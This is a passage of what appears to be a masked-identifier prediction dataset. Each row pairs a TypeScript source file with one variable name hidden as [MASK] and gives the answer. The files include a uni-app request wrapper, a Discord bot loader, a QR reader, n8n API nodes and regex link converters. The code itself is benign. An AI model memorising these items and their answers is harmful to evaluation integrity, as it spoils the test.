  return new Promise((resolve, reject) => {
    let authorization = ''
    if (checkLogin()) {
      const { token: { accessToken } } = getLoginInfo()
      authorization = `${ accessToken }`
    }

    uni.request({
      url: generateUrl({ proxy, url }),
      data: dealParams(params),
      header: Object.assign({ 'Authorization': authorization }, header),
      method: 'POST',
      success: response => success(response, resolve, reject),
      fail: error => fail(error, resolve, reject),
    })
  })
}

/**
 * 文件上传
 */
enum E_FileType {
  image = 'image',
  video = 'video'
}

interface I_PostFileParams {
  url: string,
  filePath: string,
  fileType: E_FileType,
  name: string,
  params: { [index: string]: any },
  callbackTask?: { (name: any): void }
}

export const postFile = ({
                           url = '',
                           filePath = '',
                           fileType = E_FileType.image,
                           name = 'file',
                           params = {},
                           callbackTask,
                         }: I_PostFileParams) => new Promise((resolve, reject) => {
  let authorization = ''
  if (checkLogin()) {
    const { token: { accessToken } } = getLoginInfo()
    authorization = `${ accessToken }`
  }

  const  [MASK]  = uni.uploadFile({
    url: /^(https|http)/i.test(url) ? url : proxy + url,
    filePath,
    name,
    fileType,
    formData: { ...params },
    header: { 'Authorization': authorization, 'source': SOURCE },
    success: response => success(response, resolve, reject),
    fail: error => fail(error, resolve, reject),
  })
  callbackTask && typeof callbackTask === 'function' && callbackTask( [MASK] )
})

function success (response: any, resolve: any, reject: any) {
  const { statusCode } = response
  if (statusCode === 200) {
    const { code, data, msg, styleType } = response.data
    if (code === '0000' && !styleType) {
      resolve(data)
      return
    }
    if (code === '9999') {
      uni.hideLoading()
      if (styleType === 1) {
        uni.showModal({
          title: '提示',
          content: msg,
          confirmText: '知道了',
          confirmColor: '#337BE1',
          showCancel: false,
          success (res) {
            if (res.confirm) {
              // console.log('用户点击确定');
            }
          },
        })
        reject(data)
        console.error('http请求：', response)
        return
      } else {
        uni.showToast({ title: msg, icon: 'none' })
        reject(response.data)
        console.error('http请求：', response)
        return
      }
    }
    console.error('http请求：', response)
    reject(response.data)
    return
  }

  if (statusCode === 401) {
    uni.hideLoading()
    uni.showModal({
      title: '温馨提示',
      content: '登录超时,需要重新登录',
      confirmText: '去登录',
      confirmColor: '#337BE1',
      showCancel: false,
      success (res) {
        clearLoginData()
        uni.reLaunch({ url: '/pages/login/login' })
      },
    })
    reject(new Error('登录超时'))
    console.error('http请求：', response)
    return
  }

  uni.showToast({ title: `${ statusCode }：${ url }`, icon: 'none' })
  reject(new Error(`${ statusCode }：${ url }`))
  console.error(response)
  return
}

function fail (error: any, resolve: any, reject: any) {
  console.error('http请求：', error)
  const { statusCode, data } = error

  if (statusCode === 401) {
    uni.hideLoading()
    uni.showModal({
      title: '温馨提示',
      content: '登录超时,需要重新登录',
      confirmText: '去登录',
      confirmColor: '#337BE1',
      showCancel: false,
      success (res) {
        clearLoginData()
        uni.reLaunch({ url: '/pages/login/login' })
      },
    })
    reject(new Error('登录超时'))
    return
  }

  uni.showToast({
    title: JSON.stringify(error),
    icon: 'none',
  })
  reject(error)
}
",uploadTask
312,"import path from ""path"";
import fs from ""fs"";
import { Client, Events, GatewayIntentBits, Guild, REST, Routes } from 'discord.js';
import { BaseComponent } from ""../../base/BaseComponent.js"";
import { fileURLToPath } from 'url';
import { BaseCommandHandler } from ""./base/BaseCommandHandler.js"";
import { BaseMessageHandler } from ""./base/BaseMessageHandler.js"";

const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);


export default class DiscordComponent extends BaseComponent {
    private clientId: string;

    private token: string;

    client: Client;

    api: REST;

    commands: NodeJS.Dict<any>[] = [];

    commandHandlers:  { [key: string]: BaseCommandHandler } = {};

    messageHandlers: { [key: string]: BaseMessageHandler } = {};

    constructor(...args: any[]) {
        super('discord', 'Discord Component', ...args);
    }

    async initialize(): Promise<void> {
        this.token = process.env.DISCORD_BOT_TOKEN;
        this.clientId = process.env.DISCORD_CLIENT_ID;
        if (!this.token) throw new Error(""DISCORD_BOT_TOKEN is not defined"");
        if (!this.clientId) throw new Error(""DISCORD_CLIENT_ID is not defined"");

        this.log.info(""Initializing Discord Client..."")
        this.client = await this.initializeDiscordClient(this.token);
        this.api = this.initializeDiscordApi(this.token)

        await this.initializeDiscordComponents();
        await this.registerCommandsWithGuilds();
        this.listenForEvents();
    }

    private listenForEvents() {
        this.log.info(""Listening for events..."");

        this.client.on(Events.InteractionCreate, async interaction => {
            if (!interaction.isChatInputCommand()) return;
        
          // If we have a handler for the command name, invoke it
          const handler = this.commandHandlers[interaction.commandName];
          if (handler) {
            this.log.info(`Handling interaction for command ${interaction.commandName}...`);
            await handler.handle(interaction);
          }
        });

        // If we have a handler for the message, invoke it
        this.client.on(Events.MessageCreate, async message => {
            if (message.author.bot) return;
            for (const handler of Object.keys(this.messageHandlers)) {
                await this.messageHandlers[handler].onNewMessage(message);
            }
        });
          
    }

    private async initializeDiscordClient(token: string): Promise<Client> {
        const client = new Client({
            intents: [
                GatewayIntentBits.Guilds,
                GatewayIntentBits.GuildMessages,
                GatewayIntentBits.MessageContent
            ]
        });

        await client.login(token);
        return client;
    }

    private initializeDiscordApi(token: string): REST {
        return new REST({ version: '10' }).setToken(token);
    }

    private async initializeDiscordComponents() {
        this.log.info(""Initializing Discord Components..."");

        // Load the commands from the commands directory
        const commandsPath = path.join(__dirname, 'commands');
        const commandFiles = fs.readdirSync(commandsPath).filter(file => file.endsWith('.js'));
        for (const file of commandFiles) {
            const { default: command } = await import(`./commands/${file}`);
            this.commands.push(command);
        }

        // Load the command handlers from the handlers directory
        const cmdHandlersPath = path.join(__dirname, 'commandHandlers');
        const cmdHandlerFiles = fs.readdirSync(cmdHandlersPath).filter(file => file.endsWith('.js'));
        for (const file of cmdHandlerFiles) {
            const { default: BaseCommandHandler } = await import(`./commandHandlers/${file}`);
            const Module = new BaseCommandHandler(this.components);
            this.commandHandlers[Module.id] = Module;
        }

        // Load the message event handlers from the handlers directory
        const msgHandlersPath = path.join(__dirname, 'messageHandlers');
        const  [MASK]  = fs.readdirSync(msgHandlersPath).filter(file => file.endsWith('.js'));
        for (const file of  [MASK] ) {
            const { default: BaseMessageHandler } = await import(`./messageHandlers/${file}`);
            const Module = new BaseMessageHandler(this.components);
            this.messageHandlers[Module.id] = Module;
        }
    }

    async fetchGuild(name: string): Promise<Guild> {
        const guilds = await this.client.guilds.fetch();
        const guild = guilds.find((g) => g.name === name);
        if (!guild) throw new Error(""Guild not found"");
        return await guild.fetch();
    }

    private async registerCommandsWithGuilds(): Promise<void> {
        const guilds = process.env.DISCORD_GUILDS.split(',').map((g) => g.trim());
        if (!guilds || guilds.length === 0) {
            return this.log.warn(""No guilds have been configured for this bot. Commands will not be registered."");
        }

        if (!this.commands || this.commands.length === 0) {
            return this.log.warn(""No commands to register with guilds."");
        }
        
        for (const guild of guilds) {
            await this.registerCommandsWithGuild(guild);
        }
    }

    private async registerCommandsWithGuild(guildName: string): Promise<void> {
        this.log.info(`Registering commands with guild: ${guildName}`);
        if (!this.commands || this.commands.length === 0) {
            return this.log.warn(""No commands to register with guild."");
        }

        const guild = await this.fetchGuild(guildName);
        await this.registerCommands(guild);
    }

    private async registerCommands(guild: Guild): Promise<void> {
        // The put method is used to fully refresh all commands in the guild with the current set
        await this.api.put(
            Routes.applicationGuildCommands(this.clientId, guild.id),
            { body: this.commands },
        );
    }
}",msgHandlerFiles
313,"// --------------------------------------------
// 拦截器。
// 一个函数的处理结果将作为下一个拦截器处理函数的入参。
// @author: YuanYou
// --------------------------------------------

type InterceptorHandler<T, V> = (p: T) => V;

export default class Interceptor<TArg = any, TResult = TArg> {
  private handlers?: Array<InterceptorHandler<any, any> | null>;

  /**
   * 添加拦截器。
   * 返回当前拦截器的id，可以用此来移除当前拦截器。
   * @param handler 拦截器函数
   */
  public add<T = TArg, V = any>(handler: InterceptorHandler<T, V>): number {
    const fns = this.handlers || (this.handlers = []);
    return fns.push(handler) - 1;
  }

  /**
   * 移除指定拦截器。
   * @param index 拦截器id
   */
  public remove(index: number): void;
  /**
   * 移除指定拦截器。
   * @param handler 注册的拦截器函数
   */
  public remove<T, V>(handler: InterceptorHandler<T, V>): void;
  public remove<T, V>(handlerOrIndex: number | InterceptorHandler<T, V>) {
    if (!this.handlers) return;
    if (typeof handlerOrIndex === 'number') {
      if (handlerOrIndex < this.handlers.length) {
        this.handlers[handlerOrIndex] = null;
      }
    } else {
      for (let i = 0; i < this.handlers.length; i++) {
        if (this.handlers[i] === handlerOrIndex) {
          this.handlers[i] = null;
        }
      }
    }
  }

  /**
   * 按照注册的顺序执行拦截器逻辑，上一个拦截器函数的返回值将作为下一个拦截器的入参，
   * 如果上一个没有返回值，则下一个拦截器的入参将和上一个入参一样。
   * @param p 第一个拦截器的入参
   */
  public invoke<T = TArg>(p: T): TResult {
    const fns = this.handlers || [];
    const dispatch = function(i: number, arg: any): any {
      if (i >= fns.length) return arg;
      const handler = fns[i];
      let  [MASK]  = arg;
      if (handler) {
         [MASK]  = handler(arg);
        if (typeof  [MASK]  === 'undefined') {
           [MASK]  = arg;
        }
      }
      return dispatch(++i,  [MASK] );
    };
    return dispatch(0, p);
  }
}",handlerReturnValue
314,"declare var qrcode: any;

class Application extends ioc.ApplicationContext {
    public pauseCapture: boolean = false;

    private imageProcessorFacade: ImageProcessorFacade;
    private dataProcessorFacade: DataProcessorFacade;

    constructor() {
        super('QR-Reader');
    }

    public register(container: ioc.Container): void {
        // Register Instances
        container.register<PopupManager>(PopupManager)
            .setLifetimeScope(ioc.LifetimeScope.SingleInstance);
        container.register<TabManager>(TabManager)
            .setLifetimeScope(ioc.LifetimeScope.SingleInstance);
        container.register<ActionManager>(ActionManager)
            .setLifetimeScope(ioc.LifetimeScope.SingleInstance);
        container.register<ImageProcessorFacade>(ImageProcessorFacade)
            .setLifetimeScope(ioc.LifetimeScope.SingleInstance)
            .setResolveFunc((instance: ImageProcessorFacade) => instance
                .addImageProcessor(new Html5ImageProcessor())
                .addImageProcessor(new FlashImageProcessor())
                .setDefaultImageProcessor(new UploadImageProcessor()));
        container.register<DataProcessorFacade>(DataProcessorFacade)
            .setLifetimeScope(ioc.LifetimeScope.SingleInstance)
            .setResolveFunc((instance: DataProcessorFacade) => instance
                .addDataProcessor(new TextDataProcessor())
                .addDataProcessor(new IllustrationDataProcessor())
                .addDataProcessor(new PDFDataProcessor())
                .addDataProcessor(new RawFileDataProcessor())
                .addDataProcessor(new UrlDataProcessor())
                .addDataProcessor(new VCardDataProcessor())
                .addDataProcessor(new SMSDataProcessor())
                .addDataProcessor(new PhoneCallDataProcessor())
                .addDataProcessor(new GeoLocationDataProcessor())
                .addDataProcessor(new VEventDataProcessor())
                .addDataProcessor(new MATMsgDataProcessor())
                .addDataProcessor(new EmailDataProcessor())
                .addDataProcessor(new NetworkDataProcessor()));

        this.initiate(container);
    }

    public initiate(container: ioc.Container): void {
        this.imageProcessorFacade = container.resolve<ImageProcessorFacade>(ImageProcessorFacade);
        this.dataProcessorFacade = container.resolve<DataProcessorFacade>(DataProcessorFacade);
        // Check consent
        UserMediaHelper.checkPermissions();
        // Let agree to terms
        let popupManager = <PopupManager>container.resolve(PopupManager);
        let tabManager = <TabManager>container.resolve(TabManager);
        let popupContent = <HTMLDivElement>document.querySelector('.popupContent');
        let hasAgreed = (CookieHelper.getCookie(Constants.agreedToTOA) || String()) === 'true';
        if (!hasAgreed) {
            this.setTOAPopup(popupManager, tabManager, popupContent);
        } else {
            popupManager.setButtonState(true);
            this.startApp(tabManager, popupManager);
        }
    }

    public qrCallback(data: string, errorFunc: (error: string) => void): void {
        let application = <Application>Application.applicationContext;
        if (application.pauseCapture) return;
        try {
            this.dataProcessorFacade.calculate(data);
        } catch (e) {
            errorFunc(e.message);
        }
        return;
    }

    private setTOAPopup(popupManager: PopupManager, tabManager: TabManager, popupContent: HTMLDivElement): void {
        let checkButtonState = () => {
            if (popupContent.scrollHeight <= popupContent.clientHeight
                || popupContent.scrollTop >= (popupContent.scrollHeight - popupContent.offsetHeight) - (popupContent.scrollHeight / 100)) {
                popupManager.setButtonState(true);
                window.onresize = null;
                popupContent.onscroll = null;
            }
        };
        window.onresize = checkButtonState;
        popupContent.onscroll = checkButtonState;
        tabManager.setActive('toa');
        popupManager.show(false, false, () => {
            let today = new Date();
            today.setFullYear(today.getFullYear() + 128);
            CookieHelper.setCookie(Constants.agreedToTOA, true, today);
            this.startApp(tabManager, popupManager);
            popupManager.hide();
        });
        checkButtonState();
    }

    private startApp(tabManager: TabManager, popupManager: PopupManager): void {
        let  [MASK]  = <any>document.querySelector('.help');
        // Initiate application
        this.imageProcessorFacade.initiate();
         [MASK] .onclick = () => {
            tabManager.setActive('about');
            popupManager.show();
        };
    }

}

window.onload = () => {
    if (window.location.protocol !== 'https:')
        UrlHelper.redirect(window.location.href.replace(/^(http(s)?:\/\/)(\s)?/i, 'https://'));
    return new Application();
};",helpButton
315,"import type { DataType, Post } from ""./types.ts"";
import { getLogByFileName } from ""./git.ts"";
import { markdownToHtml } from ""./markdowntohtml.ts"";

async function getPosts(): Promise<DataType> {
  const  [MASK]  = Deno.readDir(""./post"");
  const data = [] as DataType;
  for await (const _fileName of  [MASK] ) {
    if (_fileName.isFile) {
      const fileName = _fileName.name;
      const slug = fileName.replace(/\.md$/, """");
      const commits = await getLogByFileName(fileName);
      const fileContent = await Deno.readTextFile(`./post/${fileName}`);
      const res = await markdownToHtml(fileContent);
      data.push({ slug, ...res, commits });
    }
  }
  // 按发表时间，从新到旧（不过我不觉得这很科学
  // ~~并且 JavaScript 的对象本来就是无序的，forin 遍历总会打乱~~
  return data.sort((a: Post, b: Post) =>
    new Date(b.commits[0].date).valueOf() -
    new Date(a.commits[0].date).valueOf()
  );
}

const d = JSON.stringify(await getPosts());
console.log(d);
",fileNames
316,"import {
    IExecuteFunctions,
    INodeExecutionData,
    INodeProperties,
    NodeApiError,
} from 'n8n-workflow';
import { OptionsWithUri } from 'request';
import { FenXToken } from './FenX.node';

let FenergoNebulaBusinessMetricsCommandv10Properties: INodeProperties[] = [
    {
        displayName: 'Endpoint',
        name: 'endpoint',
        type: 'options',
        options: [
            { name: 'Create a Journey Summary', value: 'CreateaJourneySummary' },{ name: 'Trigger the creation of a Journey Summary for all currently scheduled journeys', value: 'TriggerthecreationofaJourneySummaryforallcurrentlyscheduledjourneys' }
        ],
        displayOptions: {
            show: {
                domain: [
                    'FenergoNebulaBusinessMetricsCommandv10',
                ],
            },
        },
        default: '',
        required: true,
        description: 'Operation to execute',
    }, { displayName: 'Request', name: 'request', type: 'json', required: true, default: '{ ""data"": { ""journeyIds"": [ """" ] } }', description: 'Request body', displayOptions: { show: { endpoint: [ 'CreateaJourneySummary' ], domain: [ 'FenergoNebulaBusinessMetricsCommandv10' ] } } }
];

async function ExecuteFenergoNebulaBusinessMetricsCommandv10(base: IExecuteFunctions): Promise < INodeExecutionData[][] > {
    // @ts-ignore
    let token = await FenXToken.getToken(base);

    let requestOptions: OptionsWithUri = {
        headers: {
            'Accept': 'application/json',
            'Content-Type': 'application/json',
            'Authorization': 'Bearer ' + token,
            'x-tenant-id': FenXToken.tenant
        },
        gzip: true,
        timeout: 3600000,
        uri: """"
    };

    const endpoint = base.getNodeParameter('endpoint', 0) as string;

    
switch(endpoint){ case 'CreateaJourneySummary': 
requestOptions.method = 'POST';
requestOptions.uri = 'https://api.fenergox.com/businessmetricscommand/api/journeysummary';

requestOptions.body = base.getNodeParameter('request', 0) as string; requestOptions.json = true;break;
case 'TriggerthecreationofaJourneySummaryforallcurrentlyscheduledjourneys': 
requestOptions.method = 'POST';
requestOptions.uri = 'https://api.fenergox.com/businessmetricscommand/api/journeysummary/triggerscheduledsummaries';

break;
}

	let request = base.helpers.request(requestOptions);

    // @ts-ignore
    const promisesResponses = await Promise.allSettled([request]);
    let response: any; // tslint:disable-line:no-any
    response = promisesResponses.shift();
    if(response!.status !== 'fulfilled') {
    // throw error;
    console.log(request);
    throw new NodeApiError(base.getNode(), response);
}
    try {
        response = JSON.parse(response.value);
    }
    catch { response = response.value; }

const  [MASK] : INodeExecutionData[] = [];
 [MASK] .push({ json: response });

return base.prepareOutputData( [MASK] );
}

export {
    FenergoNebulaBusinessMetricsCommandv10Properties,
    ExecuteFenergoNebulaBusinessMetricsCommandv10
}
",returnItems
317,"/* eslint-disable no-irregular-whitespace */
/* eslint-disable no-useless-escape */
import { typeTextByLanguage, mapExtensionToType } from '../enum/hyperlink';
import { ExceptTextRange } from '../types/index';

export const listUnuseText = (text: string) => {
  // regex exec muti (?:<a.*?<\/a>) and return an array that contain start and end index
  const regex = /aria-label=(\\""|"")[^""]*(\\""|"")/g;
  let match: RegExpExecArray | null;
  const matches: ExceptTextRange[] = [];
  while ((match = regex.exec(text)) !== null) {
    // This is necessary to avoid infinite loops with zero-width matches
    if (match.index === regex.lastIndex) {
      regex.lastIndex++;
    }
    // get the start and end index of the match and store it in the array
    const start = match.index;
    const end = regex.lastIndex;
    matches.push({ start, end, text: match[0] });
  }
  return matches;
};

export const listLinkTag = (text: string) => {
  // regex exec muti (?:<a.*?<\/a>) and return an array that contain start and end index
  const regex = /<a.*?<\/a>/g;
  let match: RegExpExecArray | null;
  const matches: ExceptTextRange[] = [];
  while ((match = regex.exec(text)) !== null) {
    // This is necessary to avoid infinite loops with zero-width matches
    if (match.index === regex.lastIndex) {
      regex.lastIndex++;
    }
    // get the start and end index of the match and store it in the array
    const start = match.index;
    const end = regex.lastIndex;
    matches.push({ start, end, text: match[0] });
  }
  return matches;
};

export const listImgTag = (text: string) => {
  // regex exec muti  (?:<img.*?\/>) and return an array that contain start and end index
  const regex = /<img.*?\/>/g;
  let match: RegExpExecArray | null;
  const matches: ExceptTextRange[] = [];
  while ((match = regex.exec(text)) !== null) {
    // This is necessary to avoid infinite loops with zero-width matches
    if (match.index === regex.lastIndex) {
      regex.lastIndex++;
    }
    // get the start and end index of the match and store it in the array
    const start = match.index;
    const end = regex.lastIndex;
    matches.push({ start, end, text: match[0] });
  }
  return matches;
};
export const replaceTextLinkToSpecialHyperlink = (text: string) => {
  const regex =
    /(?:http[s]*:\/\/)(?:[a-zA-Z\-_0-9\/.]+)\.(?:[a-zA-Z.]{2,3})\/(?:[a-zA-Z0-9\-_\/._~:?#\[\]@!$&'()*+,;=%]*)(?:[a-zA-Z0-9]+\.)(jpg|jpeg|png|svg|gif|avif|webp|bmp|ico|docx|doc|xlsx|xlsm|xlsb|xls|pptx|ppt|pdf)+(?:[\/,\?][^\s]{2,}|(?![\/,\?][^\s]{2,}))/g;
  let match: RegExpExecArray | null;
  while ((match = regex.exec(text)) !== null) {
    // This is necessary to avoid infinite loops with zero-width matches
    if (match.index === regex.lastIndex) {
      regex.lastIndex++;
    }
    const exceptRanges = [...listLinkTag(text), ...listImgTag(text), ...listUnuseText(text)];
    const isExcept = exceptRanges.some(({ start, end }) => {
      return start <= match.index && match.index <= end;
    });
    if (isExcept) continue;
    const { 0: url, 1: type } = match;
    const linkType = mapExtensionToType[type] || 'other';
    const anchorText = typeTextByLanguage[linkType].default;
    let link = `<a href=""${url}"" rel=""nofollow"">${anchorText}</a>`;
    if (linkType === 'image')
      link = `<img src=""${url}""  alt=""${anchorText}"" width=""100%"" height=""100%""/>`;
    text = text.slice(0, match.index) + link + text.slice(regex.lastIndex);
    regex.lastIndex = match.index + link.length;
  }
  return text;
};
export const replaceTextLinkToOtherHyperlink = (text: string) => {
  const regex =
    /(?:https?:\/\/(?:www\.|(?!www))(?:[a-zA-Z0-9][a-zA-Z0-9-]+(?:\.|(?!\.)))+(?:[\/,\?][^\s]{2,}|(?![\/,\?][^\s]{2,}))|www\.[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]\.[a-zA-Z0-9]+(?:[\/,\?][^\s]{2,}|(?![\/,\?][^\s]{2,}))|https?:\/\/(?:www\.|(?!www))[a-zA-Z0-9]+\.[a-zA-Z0-9]+(?:[\/,\?][^\s]{2,}|(?![\/,\?][^\s]{2,}))|www\.[a-zA-Z0-9]+\.[a-zA-Z0-9]+(?:[\/,\?][^\s]{2,}|(?![\/,\?][^\s]{2,})))/g;
  let match: RegExpExecArray | null;
  while ((match = regex.exec(text)) !== null) {
    // This is necessary to avoid infinite loops with zero-width matches
    if (match.index === regex.lastIndex) {
      regex.lastIndex++;
    }
    const exceptRanges = [...listLinkTag(text), ...listImgTag(text), ...listUnuseText(text)];
    const isExcept = exceptRanges.some(({ start, end }) => {
      return start <= match.index && match.index <= end;
    });
    if (isExcept) {
      continue;
    }
    const url = match[0];
    const link = `<a href=""${url}"" rel=""nofollow"">${url}</a>`;
    text = text.slice(0, match.index) + link + text.slice(regex.lastIndex);
    regex.lastIndex = match.index + link.length;
  }
  return text;
};

export const replaceTextLinkToEmailHyperlink = (text: string) => {
  const regex =
    /(?:[a-z0-9!#$%&'*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+\/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)/g;
  let match: RegExpMatchArray | null;
  while ((match = regex.exec(text)) !== null) {
    // This is necessary to avoid infinite loops with zero-width matches
    if (match.index === regex.lastIndex) {
      regex.lastIndex++;
    }
    const exceptRanges = [...listLinkTag(text), ...listImgTag(text), ...listUnuseText(text)];
    const isExcept = exceptRanges.some(({ start, end }) => {
      return start <= match.index && match.index <= end;
    });
    if (isExcept) continue;
    const { 0: email } = match;
    const link = `<a href=""mailto:${email}"" rel=""nofollow"">${email}</a>`;
    text = text.slice(0, match.index) + link + text.slice(regex.lastIndex);
    regex.lastIndex = match.index + link.length;
  }
  return text;
};

export const replaceTextLinkToAddressHyperlink = (text: string) => {
  const regex =
    /(?:〒[0-9０-９]{3}[-－−][0-9０-９]{4}[\n\s　]*)?(?:[^\n\s　;<>。、,，.:]{2,5}[都道府県市区町村]){1,3}(?:[^\n;<>。、.,，]{2,}?[0-9０-９一二三四五六七八九十]+(?:-|－|−|丁目|地割|部|番町|号)[0-9０-９一二三四五六七八九十]+(?:-|－|−|番地|番)?(?:[0-9０-９一二三四五六七八九十]+号?)?)(?:[^\n;<>。、.,，]+ビル)?(?:[^\n;<>。、.,，]*?[0-9０-９一二三四五六七八九]+[階F])?/g;
  let match: RegExpMatchArray | null;
  while ((match = regex.exec(text)) !== null) {
    // This is necessary to avoid infinite loops with zero-width matches
    if (match.index === regex.lastIndex) {
      regex.lastIndex++;
    }
    const exceptRanges = [...listLinkTag(text), ...listImgTag(text), ...listUnuseText(text)];
    const isExcept = exceptRanges.some(({ start, end }) => {
      return start <= match.index && match.index <= end;
    });
    if (isExcept) continue;
    const { 0: address } = match;
    const link = `<a href=""https://www.google.co.jp/maps/place/${address}"" rel=""nofollow"">${address}</a>`;
    text = text.slice(0, match.index) + link + text.slice(regex.lastIndex);
    regex.lastIndex = match.index + link.length;
  }
  return text;
};

export const replaceTextLinkToPhoneHyperlink = (text: string) => {
  const regex =
    /[+＋]?[(]{0,1}[0-9０-９]{1,4}[)]{0,1}[-‐―−ー－0-9０-９]{9,12}/g;
  let match: RegExpMatchArray | null;
  while ((match = regex.exec(text)) !== null) {
    // This is necessary to avoid infinite loops with zero-width matches
    if (match.index === regex.lastIndex) {
      regex.lastIndex++;
    }
    const exceptRanges = [...listLinkTag(text), ...listImgTag(text), ...listUnuseText(text)];

    const isExcept = exceptRanges.some(({ start, end }) => {
      return start <= match.index && match.index <= end;
    });
    if (isExcept) continue;
    const { 0: phone } = match;
    const link = `<a href=""tel:${phone}"" rel=""nofollow"">${phone}</a>`;
    text = text.slice(0, match.index) + link + text.slice(regex.lastIndex);
    regex.lastIndex = match.index + link.length;
  }
  return text;
};

const linkRegex = {
  byExtension:
    /(?:http[s]*:\/\/)(?:[a-zA-Z\-_0-9\/.]+)\.(?:[a-zA-Z.]{2,3})\/(?:[a-zA-Z0-9\-_\/._~:?#\[\]@!$&'()*+,;=%]*)(?:[a-zA-Z0-9]+\.)(jpg|jpeg|png|svg|gif|avif|webp|bmp|ico|docx|doc|xlsx|xlsm|xlsb|xls|pptx|ppt|pdf)+(?:[\/,\?][^\s]{2,}|(?![\/,\?][^\s]{2,}))/g,
  byOther:
    /(?:https?:\/\/(?:www\.|(?!www))(?:[a-zA-Z0-9][a-zA-Z0-9-]+(?:\.|(?!\.)))+(?:[\/,\?][^\s]{2,}|(?![\/,\?][^\s]{2,}))|www\.[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]\.[a-zA-Z0-9]+(?:[\/,\?][^\s]{2,}|(?![\/,\?][^\s]{2,}))|https?:\/\/(?:www\.|(?!www))[a-zA-Z0-9]+\.[a-zA-Z0-9]+(?:[\/,\?][^\s]{2,}|(?![\/,\?][^\s]{2,}))|www\.[a-zA-Z0-9]+\.[a-zA-Z0-9]+(?:[\/,\?][^\s]{2,}|(?![\/,\?][^\s]{2,})))/g,
};
export const replaceTextLinkToText = (text: string) => {
  const byExtensionRegex = linkRegex.byExtension;
  const matchs = text.matchAll(byExtensionRegex);
  for (const match of matchs) {
    const { 0: url, 1: type } = match;
    const linkType = mapExtensionToType[type] || 'other';
    const anchorText = typeTextByLanguage[linkType].default;
    text = text.replace(url, anchorText);
  }
  const  [MASK]  = linkRegex.byOther;
  const matchs2 = text.matchAll( [MASK] );
  for (const match of matchs2) {
    const { 0: url } = match;
    const anchorText = typeTextByLanguage['other'].default;
    text = text.replace(url, anchorText);
  }
  return text;
};
",byOtherRegex
318,"import { v4 as uuidv4 } from 'uuid';

export interface ChatThreadEntry {
  id: string;
  ts: string;
  slug: string;
  displayName: string;
}

export default class ChatThreadStore {
  private static storeKey = 'chatThreads';
  private static pageSize = 10;

  static fetchEntries(page: number = 0): ChatThreadEntry[] {
    const allEntries = this.getAllEntries();
    const startIndex = page * this.pageSize;
    const endIndex = startIndex + this.pageSize;
    const paginatedEntries = allEntries.slice(startIndex, endIndex);
    return paginatedEntries;
  }

  static addEntry(entry: ChatThreadEntry) {
    const allEntries = this.getAllEntries();
    allEntries.unshift(entry);
    this.saveEntries(allEntries);
  }

  static deleteEntry(id: string) {
    const allEntries = this.getAllEntries();
    const filteredEntries = allEntries.filter((entry) => entry.id !== id);
    this.saveEntries(filteredEntries);
  }

  static updateEntry(updatedEntry: ChatThreadEntry) {
    const allEntries = this.getAllEntries();
    const entryIndex = allEntries.findIndex(
      (entry) => entry.id === updatedEntry.id
    );
    if (entryIndex !== -1) {
      allEntries[entryIndex] = updatedEntry;
      this.saveEntries(allEntries);
    }
  }

  static findBySlug(slug: string): ChatThreadEntry | undefined {
    const allEntries = this.getAllEntries();
    return allEntries.find((entry) => entry.slug === slug);
  }

  static getAllEntries(): ChatThreadEntry[] {
    const entriesJson = localStorage.getItem(this.storeKey);
    return entriesJson ? JSON.parse(entriesJson) : [];
  }

  private static saveEntries(entries: ChatThreadEntry[]) {
    localStorage.setItem(this.storeKey, JSON.stringify(entries));
  }

  // Generate and add fake chat threads
  static generateFakeThreads(count: number) {
    const fakeThreads: ChatThreadEntry[] = [];
    const  [MASK]  = new Date();

    for (let i = 0; i < count; i++) {
      const date = new Date( [MASK] .getTime() - i * 86400000); // Subtracting days
      fakeThreads.push({
        id: uuidv4(),
        ts: date.toISOString(),
        slug: `thread-${i}`,
        displayName: `Sample Thread Sample Thread Sample Thread Sample Thread ${i}`,
      });
    }

    const allEntries = this.getAllEntries();
    this.saveEntries([...fakeThreads, ...allEntries]);
  }
}
",now
319,"import io from ""socket.io-client"";
import axios from ""axios"";

const client = io(""http://localhost:3030"", { autoConnect: true, transports: [""websocket""] });

const searchForStock = async (text: string) => {
  const response = await axios.get(
    `http://localhost:3030/search?keywords=${text}`
  );
  return response.data;
};
const onStockUpdate = (symbol: string,  [MASK] : any) => {
  console.log(`===== ${symbol} PRICE UPDATE ======`);
  console.log( [MASK] );
};

const subscribeToUpdates = (symbol: string) => {
  client.emit(""register"", symbol);
  client.on(""price-update"", (info) => {
    console.log(`on ${symbol}`);
    onStockUpdate(symbol, info);
  });
};

const start = async () => {
  var response = await searchForStock(""APPL"");
  for (const stock of response) {
    subscribeToUpdates(stock.symbol);
  }
};
start();
",stockInfo
320,"// SPDX-FileCopyrightText: © 2024-2025 <NAME>
// SPDX-License-Identifier: Apache-2.0

// ---------------------------------------------------------------------------------------------------------------------
// MARK: Types + Parameters

type IndexRecord = {
  size: number;
  chunks: number;
  prefix: string[];
  ttldate: number;
};

// Default key TTL is 1 day.
const DEFAULT_KEY_TTL_MS = (1000 * 60) * 60 * 24;

// The kv queue is used to notify the server that a new log has been uploaded
// via watch events.
const LATEST_LOG_KEY = ""logs/latest"";

// ---------------------------------------------------------------------------------------------------------------------

// If the user specifies DENO_KV_URL, then they also need DENO_KV_ACCESS_TOKEN.
// This is in the case they want to use a locally hosted denokv service, OR they
// want to plug their local deno instances into Deno Deploy KV.
//
// Otherwise, just call raw Deno.openKv()

let kv = null;
if (Deno.env.get(""DENO_KV_URL"") !== undefined) {
  if (Deno.env.get(""DENO_KV_ACCESS_TOKEN"") === undefined) {
    console.error(""DENO_KV_URL is set, but DENO_KV_ACCESS_TOKEN is not."");
    Deno.exit(1);
  }

  const url = Deno.env.get(""DENO_KV_URL"");
  kv = await Deno.openKv(Deno.env.get(""DENO_KV_URL""));
  console.log(`Deno KV: remote=${url}`);
} else {
  const isDenoDeploy = Deno.env.get(""DENO_DEPLOYMENT_ID"") !== undefined;
  kv = await Deno.openKv();
  console.log(""Deno KV:"", isDenoDeploy ? ""cloud"" : ""local"");
}

kv.listenQueue(async ( [MASK] : IndexRecord) => {
  await kv.set([LATEST_LOG_KEY],  [MASK] , { expireIn: DEFAULT_KEY_TTL_MS });
});

// ---------------------------------------------------------------------------------------------------------------------
// MARK: HTTP Server Interface

